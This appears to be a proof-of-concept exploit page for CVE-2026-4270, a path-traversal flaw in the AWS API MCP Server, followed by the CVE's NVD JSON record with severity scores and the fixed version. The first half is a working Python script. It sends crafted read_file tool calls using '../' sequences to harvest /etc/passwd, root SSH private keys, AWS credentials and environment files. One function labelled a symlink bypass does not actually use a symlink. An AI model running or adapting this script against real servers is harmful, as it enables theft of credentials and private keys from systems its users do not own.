CVE-2026-4270

# CVE-2026-4270 PoC - AWS API MCP Server Path Traversal # This PoC demonstrates reading arbitrary local files via the vulnerable MCP server import json import requests # Target MCP server endpoint MCP_SERVER_URL = "http://localhost:8000/mcp" def exploit_path_traversal(target_file): """ Exploit path traversal vulnerability to read arbitrary files """ # Malicious path payload using path traversal sequences payload = { "method": "tools/call", "params": { "name": "read_file", "arguments": { "path": f"../../../../{target_file}" } } } try: response = requests.post(MCP_SERVER_URL, json=payload) return response.json() except Exception as e: return {"error": str(e)} def exploit_symlink_bypass(): """ Exploit using symlink to bypass directory restrictions """ payload = { "method": "tools/call", "params": { "name": "read_file", "arguments": { "path": "/etc/passwd" } } } try: response = requests.post(MCP_SERVER_URL, json=payload) return response.json() except Exception as e: return {"error": str(e)} # Example targets if __name__ == "__main__": # Read sensitive files targets = [ "etc/passwd", "root/.ssh/id_rsa", "home/user/.aws/credentials", "etc/environment" ] for target in targets: result = exploit_path_traversal(target) print(f"[*] Attempting to read: {target}") print(f"[+] Result: {json.dumps(result, indent=2)}")

{"cve": {"id": "CVE-2026-4270", "sourceIdentifier": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "published": "2026-03-16T17:16:32.270", "lastModified": "2026-05-21T15:58:19.767", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Protection of Alternate Path exists in the no-access and workdir feature of the AWS API MCP Server versions >= 0.2.14 and < 1.3.9 on all platforms may allow the bypass of intended file access restriction and expose arbitrary local file contents in the MCP client application context.\n\nTo remediate this issue, users should upgrade to version 1.3.9."}, {"lang": "es", "value": "Protección Inadecuada de Ruta Alternativa existe en la característica no-access y workdir del servidor AWS API MCP versiones &gt;= 0.2.14 y &lt; 1.3.9 en todas las plataformas, lo que puede permitir la omisión de la restricción de acceso a archivos prevista y exponer contenidos de archivos locales arbitrarios en el contexto de la aplicación cliente MCP.\n\nPara remediar este problema, los usuarios deben actualizar a la versión 1.3.9."}], "metrics": {"cvssMetricV40": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-424"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:amazon:aws_api_mcp_server:*:*:*:*:*:python:*:*", "versionStartIncluding": "0.2.14", "versionEndExcluding": "1.3.9", "matchCriteriaId": "EE415FFE-9C17-4E1A-8608-7DAA348BDAA6"}]}]}], "references": [{"url": "https://aws.amazon.com/security/security-bulletins/2026-007-AWS/", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "tags": ["Vendor Advisory"]}, {"url": "https://pypi.org/project/awslabs.aws-api-mcp-server/1.3.9/", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "tags": ["Third Party Advisory"]}]}}